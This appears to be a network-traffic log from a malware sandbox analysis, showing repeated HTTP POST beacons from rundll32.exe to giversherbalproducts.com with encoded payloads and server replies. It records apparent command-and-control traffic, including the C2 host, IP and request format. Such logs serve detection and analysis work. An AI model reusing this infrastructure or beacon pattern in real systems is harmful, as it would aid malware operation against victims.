f3p/QUVCQ0FBfn15eH96fXtzfEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.3	50068	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:00.252928019 CEST	7279	OUT	POST /lBawcxb5/HQAZPjV6PwkoLTkrGToMfyNCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:00.792613029 CEST	7281	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:00 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzfEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49775	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:19.436805010 CEST	1076	OUT	POST /lBawcxb5/EgwSFkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:19.942084074 CEST	1078	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:19 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.3	50069	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:00.736963987 CEST	7280	OUT	POST /lBawcxb5/MjwbIQIkBgkPHTI6ez0VQntyfmF6fHNifWV5 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:01.225712061 CEST	7282	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:00 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.3	50070	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:01.169831038 CEST	7282	OUT	POST /lBawcxb5/eih9CzkYex8lRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:01.694314957 CEST	7284	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:01 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.3	50071	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:01.578524113 CEST	7283	OUT	POST /lBawcxb5/EwIhOC4lMBwbPwgnLQApcyIsASwdBTMheA5DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:02.054747105 CEST	7285	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:01 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.3	50072	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:02.061733007 CEST	7285	OUT	POST /lBawcxb5/Bjs9GT08KRJ7HQEJQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:02.548754930 CEST	7287	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:02 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzfkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.3	50073	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:02.512238979 CEST	7286	OUT	POST /lBawcxb5/KHMMGS5zJ300PjoPEX0KBSsaHAkAJBgGOkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:03.014790058 CEST	7289	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:02 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzfkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.3	50074	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:02.888645887 CEST	7288	OUT	POST /lBawcxb5/HwQCKiQ+JjspBywuejQWKD4ZdR0NeRI0RnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:03.388341904 CEST	7290	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:02 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzf0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.3	50075	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:03.445326090 CEST	7290	OUT	POST /lBawcxb5/OiIDfhgnKT1FfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:03.974730015 CEST	7292	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:03 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzf0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.3	50076	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:03.687896013 CEST	7291	OUT	POST /lBawcxb5/LghCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
